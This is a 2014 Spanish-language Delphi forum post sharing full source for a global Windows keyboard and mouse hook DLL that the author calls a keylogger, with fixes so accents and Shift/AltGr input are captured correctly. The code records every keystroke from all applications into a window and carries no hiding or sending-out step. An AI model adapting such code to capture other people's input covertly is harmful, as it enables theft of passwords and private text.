Club Delphi  
    FTP   CCD     Buscar   Trucos   Trabajo   Foros

Retroceder   Foros Club Delphi > Otros temas > Trucos
Registrarse FAQ Miembros Calendario Guía de estilo Buscar Temas de Hoy Marcar Foros Como Leídos

Los mejores trucos

 
 
Herramientas Buscar en Tema Desplegado
  #1  
Antiguo 11-04-2014
FENIXadr FENIXadr is offline
Miembro
 
Registrado: may 2010
Ubicación: Córdoba - Cba. - Argentina
Posts: 101
Poder: 14
FENIXadr Va por buen camino
Keylogger con acentos y más..

Hola gente.. hace unos días necesité hacer un hook de teclado para capturar la combinación de unas teclas, busque en distintos lugares y lo que resultó al final del día fue un keylogger pero después de un corto tiempo de usarlo vi que tenía ciertos inconvenientes, como por ejemplo las letras con acento, no solo que el hook me capturaba la letra sin el acento sino que lo más grave es que se "comía" el acento de la aplicación en que yo estuviera.. otro inconveniente fueron los códigos ASCII que ponemos con el tecladito numérico y ALT presionado.. en mi caso el teclado que tengo es muy bonito pero no tiene los signos mayor y menor lo cual para poner "distinto" en delphi (ej. : a <> b) es toda una odisea con ALT+60 y ALT+62 pero el hook, otra vez, no solo que me capturaba un "60" o un "62", según el caso, sino que también me los "comía" en las aplicaciones, así que se complicaba usar delphi con el hook activado, o intentar poner los acentos con el tecladito numérico, además cuando presionaba SHIFT o ALTGR para poner algún caracter especial, tardaba una tecla en responder y cuando soltaba el SHIFT o el ALTGR tardaba otra tecla en desactivarse o sea si por ejemplo escribía "11111$$$$$66666" esto es, 5 veces "1" luego presionamos SHIFT, luego 5 veces "4", soltamos SHIFT y 5 veces "6" lo que en realidad capturaba era "111114$$$$&6666" como ven se tardaba una tecla en responder y cuando soltaba se tardaba una tecla en desactivarse.. esto no afectaba ninguna aplicación pero entorpecía la captura..
Estos inconveniente los vi en todos los ejemplos con hook que encontré y después de renegar un tiempo pude solucionarlos casi todos.. lo único que resta es capturar el codigo ASCII presionando ALT, no lo veo muy complicado pero creo que no merece la pena hacerlo.. lo bueno de esto es que las aplicaciones funcionan correctamente sin que el Hook entorpezca... (pude salvar mis tan "amados" ALT+60 y ALT+62 mientras funciona el Hook.)

Bien.. vamos al código

Nada es 100% infalible seguramente hay algunas combinaciones de teclas que se escapan.. pero funciona bastante bien..

Código Delphi [-]

library Hook;

uses
  Messages,
  Windows;

{$R *.RES}


const
      mapName: PChar = 'k9i:f$d8aR1';
      KeyMsg: Integer = WM_USER+1627;
      MseMsg: Integer = WM_USER+1628;

var
  hKeyHook, hMseHook, hMemFile: THandle;
  Hooked: Boolean = False;
  pFHandle: PHandle = nil;
  Acento1, Acento2, Dieresis, Angulo, ShiftDWN, AltDWN, AltGrDWN : Boolean;
  KeyState1: TKeyBoardState;
  

procedure CloseMap;
begin
  if pFHandle = nil then Exit;
  UnmapViewOfFile(pFHandle);
  CloseHandle(hMemFile);
  pFHandle := nil;
end;




function KeyHookFunc(Code, VirtualKey, KeyStroke: Integer): LRESULT; stdcall;
var
    AryChar: Array[0..1] of Char;
    Count : Integer;
begin
  // I had trouble with NON-syncronus key values in separate thread message queues
  // so I used the GetKeyboardState function
  Result := 0;
  if Code = HC_NOREMOVE then Exit;
  Result := CallNextHookEx(hKeyHook, Code, VirtualKey, KeyStroke);

  if (Code < 0) or (Code <> HC_ACTION) or IsBadCodePtr(pFHandle) then Exit;

  GetKeyboardState(KeyState1);

  case (KeyStroke shr 16) of
    42, 54              : ShiftDWN := True;
    49194, 49206        : ShiftDWN := False;
    8248, 12344         : AltDWN   := True;
    49208               : AltDWN   := False;
  end;

  if AltDWN then exit;     // Aqui liberamos a las Aplicaciones del Hook para no perder los códigos ASCII del teclado Numérico.
  
  if GetKeyState(VK_LMENU) = 1 then
    AltGrDWN := True;

  if ((KeyStroke and (1 shl 30)) <> 0) then
  begin
    if ShiftDWN then
      KeyState1[VK_SHIFT] := 128     // Simulamos SHIFT presionado para que no demore una tecla en activarse
    else
      KeyState1[VK_SHIFT] := 0;       // Simulamos SHIFT soltado para que no demore una tecla en desactivarse

    if AltGrDWN then
      KeyState1[VK_LMENU] := 128     // Simulamos ALTGR presionado para que no demore una tecla en activarse
    else
      KeyState1[VK_LMENU] := 0;       // Simulamos ALTGR soltado para que no demore una tecla en desactivarse


    if not AltDWN then
      KeyState1[VK_RMENU] := 0;
    

    Count := ToAscii(VirtualKey,KeyStroke, KeyState1, AryChar, 0);
    ToAscii(VirtualKey,KeyStroke, KeyState1, AryChar, 0);              // esto es para que las aplicaciones no pierdan los acentos. (Raro no?)
    case Count of
      1 :
        begin
          if Acento1 then
          begin
            Acento1 := false;
            case AryChar[0] of
              ' ' : AryChar[0] := '´';
              'a' : AryChar[0] := 'á';
              'e' : AryChar[0] := 'é';
              'i' : AryChar[0] := 'í';
              'o' : AryChar[0] := 'ó';
              'u' : AryChar[0] := 'ú';

              'A' : AryChar[0] := 'Á';
              'E' : AryChar[0] := 'É';
              'I' : AryChar[0] := 'Í';
              'O' : AryChar[0] := 'Ó';
              'U' : AryChar[0] := 'Ú';
            end;
          end;

          if Acento2 then
          begin
            Acento2 := false;
            case AryChar[0] of
              ' ' : AryChar[0] := '`';
              'a' : AryChar[0] := 'à';
              'e' : AryChar[0] := 'è';
              'i' : AryChar[0] := 'ì';
              'o' : AryChar[0] := 'ò';
              'u' : AryChar[0] := 'ù';

              'A' : AryChar[0] := 'À';
              'E' : AryChar[0] := 'È';
              'I' : AryChar[0] := 'Ì';
              'O' : AryChar[0] := 'Ò';
              'U' : AryChar[0] := 'Ù';
            end;
          end;

          if Dieresis then
          begin
            Dieresis := False;
            case AryChar[0] of
              ' ' : AryChar[0] := '¨';
              'a' : AryChar[0] := 'ä';
              'e' : AryChar[0] := 'ë';
              'i' : AryChar[0] := 'ï';
              'o' : AryChar[0] := 'ö';
              'u' : AryChar[0] := 'ü';

              'A' : AryChar[0] := 'Ä';
              'E' : AryChar[0] := 'Ë';
              'I' : AryChar[0] := 'Ï';
              'O' : AryChar[0] := 'Ö';
              'U' : AryChar[0] := 'Ü';
            end;
          end;

          if Angulo then
          begin
            Angulo := false;
            case AryChar[0] of
              ' ' : AryChar[0] := '^';
              'a' : AryChar[0] := 'â';
              'e' : AryChar[0] := 'ê';
              'i' : AryChar[0] := 'ê';
              'o' : AryChar[0] := 'î';
              'u' : AryChar[0] := 'ô';

              'A' : AryChar[0] := 'Â';
              'E' : AryChar[0] := 'Ê';
              'I' : AryChar[0] := 'Î';
              'O' : AryChar[0] := 'Ô';
              'U' : AryChar[0] := 'Û';
            end;

          end;          
          PostMessage(pFHandle^, KeyMsg, Ord(AryChar[0]), KeyStroke);
        end;
      2 :
        begin
          case AryChar[0] of
            '´' : Acento1 := true;
            '`' : Acento2 := true;
            '¨' : Dieresis := true;
            '^' : Angulo := true;  // no se como se llama entonces le puse Angulo.. si tiene otro nombre me avisan.. 
          end;
        end;
    end;
  end;
end;




function MseHookFunc(Code, mMsg: Integer; var MouseRec: TMOUSEHOOKSTRUCT): Integer; stdcall;
var
    Pos: Integer;
    reVal: SmallInt;
begin
  // to get the message information into 2 Integer values (wParam, lParam), I use the HiWord and LoWord
  Result := 0;
  if Code = HC_NOREMOVE then Exit;
  Result := CallNextHookEx(0, Code, mMsg, Integer(@MouseRec));
  if (Code < 0) or (Code <> HC_ACTION) or IsBadCodePtr(pFHandle) then Exit;

  reVal := MouseRec.pt.x;
  Pos := Word(reVal);
  reVal := MouseRec.pt.y;
  Pos := Pos or (Word(reVal) shl 16); // 2 SmallInt values in the LParam
  mMsg := mMsg or (Integer(MouseRec.dwExtraInfo) shl 16);// 2 Word values in the WParam
  PostMessage(pFHandle^, MseMsg, mMsg, Pos);
end;



// you must include the Forms window Handle in the StartHook
// StartHook is succesfull if it returns Zero
function StartHook(FormHandle: THandle): Integer; export;
begin
  Result := 1;
  if Hooked then Exit;

  if not IsWindow(FormHandle) then
  begin
    Result := 2;
    Exit;
  end;

  hMemFile := CreateFileMapping($FFFFFFFF, // $FFFFFFFF gets a page memory file
  nil, // no security attributes
  PAGE_READWRITE, // read/write access
  0, // size: high 32-bits
  SizeOf(THandle), // size: low 32-bits
  mapName); // name of map object
  pFHandle := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);
  if pFHandle = nil then
  begin
    CloseHandle(hMemFile);
    Result := 3;
    Exit;
  end;

  hKeyHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHookFunc, hInstance, 0);
  if hKeyHook = 0 then
  begin
    CloseMap;
    Result := 6;
    Exit;
  end;

  hMseHook := SetWindowsHookEx(WH_MOUSE, @MseHookFunc, hInstance, 0);
  if hMseHook = 0 then
  begin
    CloseMap;
    UnhookWindowsHookEx(hKeyHook);
    Result := 5;
    Exit;
  end;

  Acento1 := False;
  Acento2 := False;
  Dieresis := False;
  Angulo := False;
  Hooked := True;
  pFHandle^ := FormHandle;
  Result := 0;
end;


function StopHook: Boolean; export; // success if true
begin
  if Hooked then
  begin
    Result := UnhookWindowsHookEx(hKeyHook) and UnhookWindowsHookEx(hMseHook);
  end else
    Result := True;

  if Result then
  begin
    CloseMap;
    hKeyHook := 0;
    hMseHook := 0;
    Hooked := False;
  end;
end;



procedure EntryProc(Reason: Cardinal);
begin
  if (Reason = Dll_Process_Detach) then
  begin
    CloseMap;
    if Hooked then
    begin
      UnhookWindowsHookEx(hMseHook);
      UnhookWindowsHookEx(hKeyHook);
    end;
  end;
end;


exports
StartHook, StopHook;


begin
  DLLProc := @EntryProc;
  hMemFile := OpenFileMapping(FILE_MAP_WRITE, False, mapName);
  if hMemFile <> 0 then
    pFHandle := MapViewOfFile(hMemFile, FILE_MAP_WRITE, 0, 0, 0);
end.



y la implementación sería algo asi..


Código Delphi [-]

.....
......
....

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    .......
    .....
    procedure FormCreate(Sender: TObject);    
    procedure FormDestroy(Sender: TObject);    
    .....
  private
    { Private declarations }
    hLibGI: THandle;
    procedure HookMsgKey(var Msg1: TMessage); message WM_USER+1627;
    procedure HookMsgMse(var Msg1: TMessage); message WM_USER+1628;
  public
    { Public declarations }
  end;


var
  Form1: TForm1;
  StopHook : Procedure;
  ......
  ....
  ......

implementation

{$R *.dfm}


// aquí guardamos las teclas presionadas en un TMemo.
procedure TForm1.HookMsgKey(var Msg1: TMessage);
begin
    Memo1.Perform(WM_CHAR, Msg1.wParam, 0);
end;



// tratamos los eventos del Mouse aquí.
procedure TForm1.HookMsgMse(var Msg1: TMessage);
var
  Str1: String;
begin
  {below are most of the mouse messages
  WM_LBUTTONDBLCLK
  WM_LBUTTONDOWN
  WM_LBUTTONUP
  WM_MBUTTONDBLCLK
  WM_MBUTTONDOWN
  WM_MBUTTONUP
  WM_MOUSEACTIVATE
  WM_MOUSEMOVE
  WM_MOUSEWHEEL
  WM_NCLBUTTONDBLCLK
  WM_NCLBUTTONDOWN
  WM_NCLBUTTONUP
  WM_NCMBUTTONDBLCLK
  WM_NCMBUTTONDOWN
  WM_NCMBUTTONUP
  WM_NCMOUSEMOVE
  WM_NCRBUTTONDBLCLK
  WM_NCRBUTTONDOWN
  WM_NCRBUTTONUP
  WM_RBUTTONDBLCLK
  WM_RBUTTONDOWN
  WM_RBUTTONUP }

  // because WM_MOUSEWHEEL is different I have it first
  if Msg1.wParamLo = WM_MOUSEWHEEL then
  begin
    Str1 := 'mouseWheel - '+IntToStr(SmallInt(Msg1.wParamHi));
    //' at x:'+IntToStr(SmallInt(Msg1.LParamLo))+
    // ' y:'+IntToStr(SmallInt(Msg1.LParamHi));
    Memo1.Lines.Add(Str1);
    Exit;                                    
  end
  else
    case Msg1.wParamLo of
      WM_LBUTTONDOWN: Str1 := 'Left Button Down';
      WM_LBUTTONUP: Str1 := 'WM_LBUTTONUP';
      WM_MBUTTONDOWN: Str1 := 'WM_MBUTTONDOWN';
      WM_MBUTTONUP: Str1 := 'WM_MBUTTONUP';
      WM_MOUSEMOVE: Str1 := 'WM_MOUSEMOVE';
      WM_NCLBUTTONDOWN: Str1 := 'WM_NCLBUTTONDOWN';
      WM_RBUTTONDOWN: Str1 := 'WM_RBUTTONDOWN';
      WM_RBUTTONUP: Str1 := 'WM_RBUTTONDOWN';
    else
      Exit; // Warning, I just exit here to avoid all of the WM_MOUSEMOVE messages in memo
  end;

  Str1 := 'mouse - '+Str1+' at x:'+IntToStr(SmallInt(Msg1.LParamLo))+
  ' y:'+IntToStr(SmallInt(Msg1.LParamHi));

  //Memo1.Lines.Add(Str1);  

end;



procedure TForm1.FormCreate(Sender: TObject);
var
    StartHook: function(FormHandle: THandle): Integer;
    Re: Integer;
    MsgStr: String;
begin
  MsgStr := 'FAILED to Load Library';
  hLibGI := LoadLibrary('Hook.dll');
  if hLibGI > 0 then
  begin

    @StopHook := GetProcAddress(hLibGI,'StopHook');

    @StartHook := GetProcAddress(hLibGI,'StartHook');
    if @StartHook <> nil then
    begin
      Re := StartHook(Handle);
      if Re = 0 then
        MsgStr := 'Success - Hooks Are Running'
      else
        MsgStr := 'ERROR - Hooks NOT Started, Error code is '+IntToStr(Re);
    end
    else
    begin
      FreeLibrary(hLibGI);
      MsgStr := 'ERROR - StartHook function NOT in Library';
    end;
  end;


  ShowMessage(MsgStr);
end;



procedure TForm1.FormDestroy(Sender: TObject);
begin
  StopHook;
end;


y eso es todo...
he dejado algunos comentarios en ingles que son del autor original.. como dije buscando por todos lados encontré cosas y las junté.. espero que les sea de utilidad y si tienen algún inconveniente, comentario o alguna forma mas "elegante" de hacer lagunas de las cosas que hice serán muy bien aceptadas..

Saludos..

Última edición por FENIXadr fecha: 11-04-2014 a las 03:50:13.
Responder Con Cita
 


Herramientas Buscar en Tema
Buscar en Tema:

Búsqueda Avanzada
Desplegado

Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Saltar a Foro

Temas Similares
Tema Autor Foro Respuestas Último mensaje
keylogger? unko! Internet 9 12-04-2014 02:02:06
keylogger en delphi cmm07 Varios 2 10-04-2009 03:33:11
Haciendo mi propio keylogger jorgegetafe Varios 7 06-11-2007 02:44:23
Construir un KEYLOGGER SPARROW Varios 3 18-02-2004 15:27:00


La franja horaria es GMT +2. Ahora son las 23:37:17.


Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi
Copyright 1996-2007 Club Delphi